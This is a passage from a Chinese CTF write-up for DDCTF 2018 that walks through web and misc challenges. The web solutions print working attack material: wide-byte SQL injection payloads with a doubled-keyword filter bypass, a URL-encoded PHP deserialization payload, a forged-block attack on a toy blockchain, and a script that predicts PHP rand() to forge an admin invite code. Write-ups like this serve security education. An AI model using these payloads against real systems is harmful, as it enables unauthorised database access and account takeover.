alt="mark"></p><p>此时又一次明白了，为什么读文件允许ks文件。</p><p>来吧，首先先拿邮箱申请一个flag</p><p>然而此时申请flag，邮箱也得先加密。自己提取出来的加密脚本如下。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">byte2hex</span><span class="params">(<span class="type">byte</span>[] b)</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="type">StringBuilder</span> <span class="variable">hs</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> <span class="number">0</span>; (b != <span class="literal">null</span>) &amp;&amp; (n &lt; b.length); n++)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="type">String</span> <span class="variable">stmp</span> <span class="operator">=</span> Integer.toHexString(b[n] &amp; <span class="number">0xFF</span>);</span><br><span class="line">      <span class="keyword">if</span> (stmp.length() == <span class="number">1</span>) &#123;</span><br><span class="line">        hs.append(<span class="string">&#x27;0&#x27;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      hs.append(stmp);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> hs.toString().toUpperCase();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">getEmail</span><span class="params">()</span> <span class="keyword">throws</span> NoSuchAlgorithmException, InvalidKeyException&#123;</span><br><span class="line">  <span class="type">SecretKeySpec</span> <span class="variable">signingKey</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SecretKeySpec</span>(<span class="string">&quot;sdl welcome you !&quot;</span>.getBytes(), <span class="string">&quot;HmacSHA256&quot;</span>);</span><br><span class="line">  <span class="type">Mac</span> <span class="variable">mac</span> <span class="operator">=</span> Mac.getInstance(<span class="string">&quot;HmacSHA256&quot;</span>);</span><br><span class="line">      mac.init(signingKey);</span><br><span class="line">  String email=<span class="string">&quot;3113936212117314317@didichuxing.com&quot;</span>;</span><br><span class="line">  <span class="type">byte</span>[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());</span><br><span class="line">  System.out.println(byte2hex(e));</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//0DFEE0968F44107479B6CF5784641060DB42952C197C7E8560C2B5F58925FAF4</span></span><br></pre></td></tr></table></figure><p>坑：但是此时后端仅允许post方式。且参数是以get传递的。</p><p>成功获取到flag</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Encrypted flag : 506920534F89FA62C1125AABE3462F49073AB9F5C2254895534600A9242B8F18D4E420419534118D8CF9C20D07825C4797AF1A169CA83F934EF508F617C300B04242BEEA14AA4BB0F4887494703F6F50E1873708A0FE4C87AC99153DD02EEF7F9906DE120F5895DA7AD134745E032F15D253F1E4DDD6E4BC67CD0CD2314BA32660AB873B3FF067D1F3FF219C21A8B5A67246D9AE5E9437DBDD4E7FAACBA748F58FC059F662D2554AB6377D581F03E4C85BBD8D67AC6626065E2C950B9E7FBE2AEA3071DC0904455375C66A2A3F8FF4691D0C4D76347083A1E596265080FEB30816C522C6BFEA41262240A71CDBA4C02DB4AFD46C7380E2A19B08231397D099FE</span><br></pre></td></tr></table></figure><p>然后，解密吧。。</p><p>只能百度了，java又不熟，RSA更不熟，尤其还是这种hex的。逆源码都失败了。一个劲报错。（查百度，好像是因为啥空格之类的。打不过打不过）</p><p>最终发现一个好玩的，可以从keystore提取RSA私钥。这样一来，又继续美滋滋。</p><p><a href="https://blog.csdn.net/zbuger/article/details/51690900">https://blog.csdn.net/zbuger/article/details/51690900</a></p><p>然后照猫画虎，提出私钥。此时祭出自己的一个无敌大件。之前从某次CTF安卓题提出的RSA解密脚本。（当时题目简单，加解密都给了，改个函数名就ok了。）</p><p>(╯°□°）╯︵ ┻━┻</p><p>要不是在线的解不了。才不会想起这个大招（已放到附件，记得将 密文to ascii 再 to base64。）。。。。。</p><p>通过在线工具，提取出公私钥，然后跑脚本。最终拿到flag。</p><p>DDCTF{1797193649441981961}</p><h3 id="web3-注入的奥妙-250pt"><a href="#web3-注入的奥妙-250pt" class="headerlink" title="web3 注入的奥妙 (250pt)"></a>web3 注入的奥妙 (250pt)</h3><blockquote><p>本题flag不需要包含<code>DDCTF&#123;&#125;</code>，为<code>[0-9a-f]+</code></p><p><a href="http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1">http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1</a></p></blockquote><p>按照题目要求，这题应该是个注入题，毫无疑问。</p><p>查看源码，发现给了big5的编码表，此时猜测可以通过宽字节进行注入。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1餐&#x27; and 1=1%23</span><br></pre></td></tr></table></figure><p>orderby，发现有三个字段，尝试构造联合查询语句，发现union会被直接删除。此时<strong>双写</strong>绕过即可。</p><p>此时查询数据库：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1餐&#x27; uniunionon select SCHEMA_NAME,2,3 from information_schema.SCHEMATA %23</span><br></pre></td></tr></table></figure><p><img src="https://img.5am3.com/img/180416/F3F2KEjgKb.png" alt="mark"></p><p>然后继续查询表名：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1餐&#x27; uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=sqli %23</span><br></pre></td></tr></table></figure><p>此时发生了一件尴尬的事情。我们无法继续构造单双引号，这样数据库会报以下错误。</p><p><img src="https://img.5am3.com/img/180416/f345fDj20l.png" alt="mark"></p><p>此时祭出hex大法。数据库会直接将0x开头的进行转码解析。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1餐&#x27; uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x73716c69 %23</span><br></pre></td></tr></table></figure><p>此时成功的爆出来了三个表</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">message,route_rules,users</span><br></pre></td></tr></table></figure><p>然后就没啥好说的了。挨个查着玩就可以了，基本同上。然后查字段啥的。</p><p><em>查路由的时候，有点小坑，不知道后端怎么解析的，会将一列数据解析到多列，此时用mysql的to_base64()函数即可。</em></p><p>通过路由信息，我们可以发现存在<code>static/bootstrap/css/backup.css </code>源码泄露。</p><p>通过以下三行脚本即可保存该文件。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">f=open(&#x27;a.zip&#x27;,&#x27;wb&#x27;)</span><br><span class="line">f.write(requests.get(&#x27;http://116.85.48.105:5033/static/bootstrap/css/backup.css&#x27;).content)</span><br></pre></td></tr></table></figure><p>接下来就是对PHP代码的审计。</p><p>首先，分析路由。我们从数据表内知道了有以下几条规则</p><blockquote><p>get*&#x2F;:u&#x2F;well&#x2F;getmessage&#x2F;:s       Well#getmessage<br>get*&#x2F;:u&#x2F;justtry&#x2F;self&#x2F;:s       JustTry#self<br>post*&#x2F;:u&#x2F;justtry&#x2F;try          JustTry#try       </p></blockquote><p>首先第一条，就是咱刚刚实现注入的那一个。不用多看，逻辑差不多清楚。</p><p>第二，三条，调用的都是justtry类下的某个方法。所以可以跟进去，重点分析下这个函数。</p><p><img src="https://img.5am3.com/img/180416/jmeKeiBC89.png" alt="mark"></p><p>此时看见了 unserialize ，倍感亲切，这不就是反序列化么。</p><p>此时就需要考虑反序列化了。他后面限制了几个类，此时我们可以一一打开分析。</p><p>test类，顾名思义，就是一个测试用的。</p><p><img src="https://img.5am3.com/img/180416/aeBdKbceba.png" alt="mark"></p><p>此时我们发现他的析构函数中，有一条特殊的句子。跟进去之后发现，他会将falg打印出来。</p><p>仔细分析源码后发现，这个test类通过调用Flag类来获取flag，然而Flag类又需要调用SQL类来进行数据库查询。</p><p>所以，这个反序列化是个相当大的工程。自己手写是无望了。</p><p>首先尝试了一下，自己写三个类的调用。。。然而失败了。</p><p>最后复现源码，并在try方法打印序列化对象后。（uuid是你的url那串，uuid类下正则可以看出来。）</p><p><img src="https://img.5am3.com/img/180416/H3dE1bEeC8.png" alt="mark"></p><p>发现，他是有一个<strong>命名空间的要求</strong>。序列化后语句如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:17:&quot;Index\Helper\Test&quot;:2:&#123;s:9:&quot;user_uuid&quot;;s:36:&quot;4eaee5db-2304-4d6d-aa9c-962051d99a41&quot;;s:2:&quot;fl&quot;;O:17:&quot;Index\Helper\Flag&quot;:1:&#123;s:3:&quot;sql&quot;;O:16:&quot;Index\Helper\SQL&quot;:2:&#123;s:3:&quot;dbc&quot;;N;s:3:&quot;pdo&quot;;N;&#125;&#125;&#125;</span><br></pre></td></tr></table></figure><p>最终的Payload如下：</p><blockquote><p>url:<a href="http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/justtry/try/">http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/justtry/try/</a></p><p>postdata:</p><p>serialize&#x3D;%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%54%65%73%74%22%3a%32%3a%7b%73%3a%39%3a%22%75%73%65%72%5f%75%75%69%64%22%3b%73%3a%33%36%3a%22%34%65%61%65%65%35%64%62%2d%32%33%30%34%2d%34%64%36%64%2d%61%61%39%63%2d%39%36%32%30%35%31%64%39%39%61%34%31%22%3b%73%3a%32%3a%22%66%6c%22%3b%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%46%6c%61%67%22%3a%31%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%4f%3a%31%36%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%53%51%4c%22%3a%32%3a%7b%73%3a%33%3a%22%64%62%63%22%3b%4e%3b%73%3a%33%3a%22%70%64%6f%22%3b%4e%3b%7d%7d%7d</p></blockquote><h3 id="web4-mini-blockchain-280pt"><a href="#web4-mini-blockchain-280pt" class="headerlink" title="web4 mini blockchain  (280pt)"></a>web4 mini blockchain  (280pt)</h3><blockquote><p>某银行利用区块链技术，发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是，该银行被黑客入侵，私钥被窃取，维持区块链正常运转的矿机也全部宕机。现在，你能追回所有DDCoins，并且从商店购买2颗钻石么？</p><p><code>注意事项：区块链是存在cookie里的，可能会因为区块链太长，浏览器不接受服务器返回的set-cookie字段而导致区块链无法更新，因此强烈推荐写脚本发请求</code></p><p>题目入口：<br><a href="http://116.85.48.107:5000/b942f830cf97e">http://116.85.48.107:5000/b942f830cf97e</a></p></blockquote><p>拿到题目，内心是拒绝的。因为虽然说区块链这么火，但是自己还是没怎么了解过。</p><p>第一反应是。药丸，没戏了。但是，搞信息安全的孩子怎么可以轻言放弃呢！</p><p>时间辣么长，还不信看不明白个区块链。最后肛了两天多，才大概明白了题目</p><p>首先，题目给了源码，这个很棒棒。</p><p>建议大家分析题目时将代码也多读几遍，然后再结合参考资料进行理解。</p><p>在这里不做太多的理解源码的讲解。</p><p>最初我是将重心代码的一些逻辑上，以及加密是否可逆。（发现自己太年轻，看不懂）</p><p>然后慢慢的开始了解区块链，最后发现这种手段。</p><p>这道题目中，利用了区块链一个很神奇的东西。</p><p>因为区块链是一个链表，而且还是一个谁都可以增加的，此时，人们达成了一种默认，以最长的那条链为主链（正版），其他的分支都是盗版。</p><p>如下图，就是此时该题目的区块链。</p><p><img src="https://img.5am3.com/img/180420/fbLcGAFJ4a.png" alt="mark"></p><p>那么我们可以再构造一条链，只要比主链长，那这条链就是我们说了算。</p><p><img src="https://img.5am3.com/img/180420/EL389D98Lb.png" alt="mark"></p><p>此时虽然说区块链1是正规的链，但是区块链2要比1长，此时区块链2即为正规链。</p><p>但是，说的轻巧，我们该如何构造呢？</p><p>首先，我们分析路由可以发现，题目预留了一个创建交易的接口。此时可以生成新块。</p><p><img src="https://img.5am3.com/img/180420/CkLdA2d7gD.png" alt="mark"></p><p>只要我们可以挖到一个DDcoin，就可以创建一次新块，然后会判断商店的余额。最终给予砖石奖励。</p><p>然而DDcoin是什么呢。</p><p>在这道题里，其实就是这个东西，这就是一个区块。对他进行分析一下。</p><p><img src="https://img.5am3.com/img/180420/bAGKCC8KEk.png" alt="mark"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">nonce:自定义字符串</span><br><span class="line">prev：上一个区块的地址</span><br><span class="line">hash：这个区块的hash</span><br><span class="line">height：当前处于第几个节点</span><br><span class="line">transactions：交易信息</span><br></pre></td></tr></table></figure><p>再分析transactions</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">input与signature好像是一个凭证，验证这个区块主人身份。</span><br><span class="line">output，收款人信息</span><br><span class="line">amount，收款数额</span><br><span class="line">addr，收款地址</span><br></pre></td></tr></table></figure><p>hash这里的话，不是太明白。</p><p>但是看代码。发现都有现成的可以生成。只要利用这三个函数，即可创建一个新的区块。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">create_output_utxo(addr_to, amount) // 新建一个output信息</span><br><span class="line">create_tx(input_utxo_ids, output_utxo, privkey_from=None) // 新建一个transactions信息</span><br><span class="line">create_block(prev_block_hash, nonce_str, transactions) // 新建一个区块</span><br></pre></td></tr></table></figure><p>首先新建output，此时参数很简单，收货人地址（商店），数量（全款）</p><p>然后创建tx，此时output_utxo就是刚刚咱创建好的那个。然而问题来了，私钥和id咱是没有的。此时分析代码可以发现，这一步做的主要就是创建一个sig签名。还有就是生成一个hash</p><p><img src="https://img.5am3.com/img/180420/c1c4eeFhhi.png" alt="mark"></p><p>此时，邪恶的想到，既然是要创建第二条链，那么可不可以借用一下第一条链的第一块的信息。</p><p>也就是直接忽略掉sig的生成，伪造tx，直接重写一下create_tx</p><p><img src="https://img.5am3.com/img/180420/3iC0KHeBd4.png" alt="mark"></p><p>然后此时tx也有了，进行下一步create_block</p><p>此时他的三个参数也好写，上一个区块的hash，自定义字符串，刚刚做好的tx</p><p>此时，我们要通过爆破nonce的方式，来使create_block生成的块的hash为00000开头，</p><p>这样，我们才能添加。</p><p>然后向那个添加块的地址post由create_block即可成功添加第一个块。</p><p>记得改请求头中的content-type为json。还有就是cookie自己手动更新</p><p>第二个块的时候，问题又来了。</p><p>这条链中，我们之前的tx已经使用过一次，无法使用了。怎么办？</p><p>此时可以注意到题目中init中给的hint。</p><p><img src="https://img.5am3.com/img/180420/E8I6mh7ie9.png" alt="mark"></p><p>凭啥他可以不写tx就生成块！不开心，你都能那样，我也要！</p><p>于是。。。。。通过这个方式，在后面添加几个空区块就好。</p><p>成功伪造主链！获取一颗砖石。</p><p>再次重复以上做法，完成第三条链即可获取到flag</p><p>切记，手动更新cookie……</p><h3 id="web5-我的博客-320pt"><a href="#web5-我的博客-320pt" class="headerlink" title="web5 我的博客 (320pt)"></a>web5 我的博客 (320pt)</h3><blockquote><p>提示：<code>www.tar.gz</code></p><p><a href="http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d">http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d</a></p></blockquote><p>题目又给了源码，美滋滋。</p><p>然而下载到源码后就不美滋滋了。</p><p>一共给了三个页面，主页很明显，有一个SQL注入漏洞。这个题之前安恒杯三月见过。利用率printf函数的一个小漏洞，%1$’可以造成单引号逃逸。</p><p>然而，你是进不去主页的。因为。。</p><p><img src="https://img.5am3.com/img/180420/e5eCF99g1b.png" alt="mark"></p><p>还没进去，就被die了。</p><p>然后只好分析如何能成为admin了。此时看到了。</p><p><img src="https://img.5am3.com/img/180420/4eiEJejmeJ.png" alt="mark"></p><p>当你是通过邀请码注册的，你便可以成为admin。</p><p>然而，邀请码是完全随机的。</p><p>此时，想起LCTF的一道题，感觉完全一样有木有！</p><p><a href="https://github.com/LCTF/LCTF2017/tree/master/src/web/%E8%90%8C%E8%90%8C%E5%93%92%E7%9A%84%E6%8A%A5%E5%90%8D%E7%B3%BB%E7%BB%9F">https://github.com/LCTF/LCTF2017/tree/master/src/web/%E8%90%8C%E8%90%8C%E5%93%92%E7%9A%84%E6%8A%A5%E5%90%8D%E7%B3%BB%E7%BB%9F</a></p><p>然而当时有两个解，一个非预期条件竞争，另一个正则的漏洞。</p><p>此时这题完全没用啊！当时要疯了，猜测，难道是要预测随机数？</p><p><img src="https://img.5am3.com/img/180420/HlF2LhKjaE.png" alt="mark"></p><p>然而，当我看到大佬这句话的时候，萌生了放弃的想法，猜测肯定还有其他解法。</p><p>奈何，看啊看，看啊看，我瞪电脑，电脑瞪我。</p><p>最后还是决定看一下随机数这里。很开心，找到了这篇文章。</p><p><a href="http://drops.xmd5.com/static/drops/web-11861.html">http://drops.xmd5.com/static/drops/web-11861.html</a></p><p>然而，每个卵用，他只告诉了我：对！毛病就在随机数，但是你会么？</p><p>满满的都是嘲讽….</p><p>来吧，一起看，首先这篇文章讲了一种后门的隐藏方式，话说我读了好几遍才理解。</p><p>然后不得不感叹，作者….你还是人么。这都能想出来。服！真的服！</p><p>首先，大家需要先知道rand()是不安全的随机数。（然而我不知道）</p><p>然后str_shuffle()是调用rand()实现的随机。所以此时重点是。如何预测rand？</p><p>然而作者没告诉，给的链接都是数学，看不懂…..</p><p>此时PHITHON大佬的这篇文章真的是解救了自己。</p><p><a href="https://www.leavesongs.com/penetration/safeboxs-secret.html">https://www.leavesongs.com/penetration/safeboxs-secret.html</a></p><p><img src="https://img.5am3.com/img/180420/4EiBcAcJ4F.png" alt="mark"></p><p>所以，此时我们知道了一件事情。当我们可以获取到连续的33个随机数后，我们就可以预测后面连续的所有随机数。</p><p>如何连续？大佬文章中说了，通过http请求头中的Connection:Keep-Alive。</p><p>此时，我们先获取他100个随机数。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">s = requests.Session()</span><br><span class="line">url=<span class="string">&#x27;http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php&#x27;</span></span><br><span class="line">headers=&#123;<span class="string">&#x27;Connection&#x27;</span>: <span class="string">&#x27;Keep-Alive&#x27;</span>&#125;</span><br><span class="line">state=[]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">50</span>):</span><br><span class="line">r=s.get(url,headers=headers)</span><br><span class="line">state.append(<span class="built_in">int</span>(re.search(<span class="string">r&#x27;id=&quot;csrf&quot; value=&quot;(.+?)&quot; required&gt;&#x27;</span>, r.text, re.M|re.I).group(<span class="number">1</span>)))</span><br></pre></td></tr></table></figure><p>然后测试一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">yuce_list=[]</span><br><span class="line">for i in range(10):</span><br><span class="line">yuceTemp=yuce(len(state))</span><br><span class="line">state.append(yuceTemp)</span><br><span class="line">yuce_list.append(yuceTemp)</span><br></pre></td></tr></table></figure><p>此时发现和实际是有一些冲突的。分析后发现，应该将生成的随机数取余2147483647才是真正的数。</p><p>但此时又有了一个问题。</p><p><img src="https://img.5am3.com/img/180420/IFf3H6L8I2.png" alt="mark"></p><p>之前大佬是说过会有一定的误差，但是误差率太高了。虽然误差不大，但是….</p><p>此时，没办法，只能祈求后面会处理误差。此时我们完成了随机数的预测。</p><p>接下来需要写如何打乱字符串。</p><p>可以发现，一个很简单的流程，生成随机数，然后交换位置。</p><p><img src="https://img.5am3.com/img/180420/JmcdCf9Lk8.png" alt="mark"></p><p>唯一不知道的地方就是其中这个地方的一个函数。</p><p>此时直接去GitHub翻一下源码。</p><p><a href="https://github.com/jinjiajin/php-5.6.9/blob/35e92f1f88b176d64f1d8fc983e466df383ee34e/ext/standard/php_rand.h">https://github.com/jinjiajin/php-5.6.9/blob/35e92f1f88b176d64f1d8fc983e466df383ee34e/ext/standard/php_rand.h</a></p><p><img src="https://img.5am3.com/img/180420/d3Dd8A1eg8.png" alt="mark"></p><p>然后就是愉快的重写代码。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">def rand_range(rand,minN,maxN,tmax=2147483647):</span><br><span class="line">temp1=tmax+1.0</span><br><span class="line">temp2=rand/temp1</span><br><span class="line">temp3=maxN-minN</span><br><span class="line">temp4=temp3+1.0</span><br><span class="line">temp5=temp4*temp2</span><br><span class="line">rand=minN+(int)(temp5)</span><br><span class="line">return rand</span><br><span class="line">admin_old=[&#x27;0&#x27;,&#x27;1&#x27;,&#x27;2&#x27;,&#x27;3&#x27;,&#x27;4&#x27;,&#x27;5&#x27;,&#x27;6&#x27;,&#x27;7&#x27;,&#x27;8&#x27;,&#x27;9&#x27;,&#x27;a&#x27;,&#x27;b&#x27;,&#x27;c&#x27;,&#x27;d&#x27;,&#x27;e&#x27;,&#x27;f&#x27;,&#x27;g&#x27;,&#x27;h&#x27;,&#x27;i&#x27;,&#x27;j&#x27;,&#x27;k&#x27;,&#x27;l&#x27;,&#x27;m&#x27;,&#x27;n&#x27;,&#x27;o&#x27;,&#x27;p&#x27;,&#x27;q&#x27;,&#x27;r&#x27;,&#x27;s&#x27;,&#x27;t&#x27;,&#x27;u&#x27;,&#x27;v&#x27;,&#x27;w&#x27;,&#x27;x&#x27;,&#x27;y&#x27;,&#x27;z&#x27;,&#x27;A&#x27;,&#x27;B&#x27;,&#x27;C&#x27;,&#x27;D&#x27;,&#x27;E&#x27;,&#x27;F&#x27;,&#x27;G&#x27;,&#x27;H&#x27;,&#x27;I&#x27;,&#x27;J&#x27;,&#x27;K&#x27;,&#x27;L&#x27;,&#x27;M&#x27;,&#x27;N&#x27;,&#x27;O&#x27;,&#x27;P&#x27;,&#x27;Q&#x27;,&#x27;R&#x27;,&#x27;S&#x27;,&#x27;T&#x27;,&#x27;U&#x27;,&#x27;V&#x27;,&#x27;W&#x27;,&#x27;X&#x27;,&#x27;Y&#x27;,&#x27;Z&#x27;]</span><br><span class="line"></span><br><span class="line">for i in range(len(admin_old))[::-1]:</span><br><span class="line">a=rand_range(int(yuce_list[len(admin_old)-i-1]),0,i)</span><br><span class="line">admin_old[i],admin_old[a]=admin_old[a],admin_old[i]</span><br><span class="line">key=&#x27;&#x27;</span><br><span class="line">for i in admin_old:</span><br><span class="line">key+=i</span><br><span class="line">print(key)</span><br></pre></td></tr></table></figure><p>此时就可以愉快的生成随机数了。然后在进行一下注册。此时csrf记得提前在获取state时保存一下最后一位。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">def getAdmin(username,passwd,code):</span><br><span class="line">data=&#123;</span><br><span class="line">&quot;csrf&quot;:csrf,</span><br><span class="line">&quot;username&quot;:username,</span><br><span class="line">&quot;password&quot;:passwd,</span><br><span class="line">&quot;code&quot;:code</span><br><span class="line">&#125;</span><br><span class="line">r=s.post(url,headers=headers,data=data)</span><br><span class="line">print(r.text)</span><br></pre></td></tr></table></figure><p>切记！code是：admin###开头，后面截取32位！</p><p>最后用拿到的账号进行登录即可。</p><p>后面就是sql注入了。很简单，只要单引号逃逸后，就可以显注了。没有其他过滤</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&amp;title=-1%1$&#x27;+union+select+1,f14g,3+from+a8e79480.key+where+1+%23 </span><br></pre></td></tr></table></figure><p><img src="https://img.5am3.com/img/180420/4kH7ml65cG.png" alt="mark"></p><h2 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h2><h3 id="misc1-签到题-1pt"><a href="#misc1-签到题-1pt" class="headerlink" title="misc1 签到题  (1pt)"></a>misc1 签到题  (1pt)</h3><blockquote><p>请点击按钮下载附件</p></blockquote><p>出题人是真的皮。下载后会发现一个神奇的东西。flag.txt里面的内容是这个</p><blockquote><p>请查看赛题上方“公告”页</p></blockquote><p>然后打开公告页，发现了他。。</p><blockquote><p>DDCTF{echo”W3Lc0me_2_DiD1${PAAMAYIM_NEKUDOTAYIM}C7f!”}</p></blockquote><p>好歹咱也是个web手。so …..</p><p>本来还以为要解开里面的PHP代码。自己误以为是这个。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DDCTF&#123;W3Lc0me_2_DiD1::C7f!&quot;&#125;</span><br></pre></td></tr></table></figure><p>最后发现，原来是真·签到题。</p><h3 id="misc2-╯°□°）╯︵-┻━┻-50pt"><a href="#misc2-╯°□°）╯︵-┻━┻-50pt" class="headerlink" title="misc2 (╯°□°）╯︵ ┻━┻  (50pt)"></a>misc2 (╯°□°）╯︵ ┻━┻  (50pt)</h3><blockquote><p>(╯°□°）╯︵ ┻━┻</p><p>d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd</p></blockquote><p>这道题蛮坑的。。想了无数种密码后都没思路。最后只能老老实实研究，或许是一些简单的编码？</p><p>一共134个字符。尝试2位一组，转化为十进制后，发现数值在一定范围内浮动。</p><p><img src="https://img.5am3.com/img/180414/DJJgj7G8m9.png" alt="mark"></p><p>然后考虑到ascii码可见区域，于是尝试对其进行取余128的操作。</p><p>最后发现余数均在ascii码的可见区域。之后hex2ascii 即可获取到flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">a=[212,232,225,244,160,247,225,243,160,230,225,243,244,161,160,212,232,229,160,230,236,225,231,160,233,243,186,160,196,196,195,212,198,251,185,178,178,225,226,185,185,183,180,225,180,183,227,228,179,178,178,227,230,180,179,226,181,176,182,177,176,230,225,229,225,181,253]</span><br><span class="line">b=&#x27;&#x27;</span><br><span class="line">for i in a:</span><br><span class="line">b+=chr(i%128)</span><br><span class="line">print(b)</span><br></pre></td></tr></table></figure><p><img src="https://img.5am3.com/img/180415/8EheaAIHLI.png" alt="mark"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DDCTF&#123;922ab9974a47cd322cf43b50610faea5&#125;</span><br></pre></td></tr></table></figure><h3 id="misc3-第四扩展FS-（100pt）"><a href="#misc3-第四扩展FS-（100pt）" class="headerlink" title="misc3 第四扩展FS （100pt）"></a>misc3 第四扩展FS （100pt）</h3><blockquote><p>D公司正在调查一起内部数据泄露事件，锁定嫌疑人小明，取证人员从小明手机中获取了一张图片引起了怀疑。这是一道送分题，提示已经在题目里，日常违规审计中频次有时候非常重要。</p></blockquote><p>拿到图片，发现大小出奇的大，于是尝试binwalk，提出来一个压缩包。</p><p><img src="https://img.5am3.com/img/180415/51k5a6LgEL.png" alt="mark"></p><p>尝试打开，发现是有密码的。（这里有个技巧，个人比较喜欢用windows的<strong>好压</strong>解压缩软件，这个软件存在一定的压缩包修复。）</p><p>然后回到题目，仔细分析。尝试无果后，最终将密码锁定在了<code>提示已经在题目里</code>，所以尝试查看文件属性，发现了一些奇怪的字符串。</p><p><img src="https://img.5am3.com/img/180415/e7idiEm4kD.png" 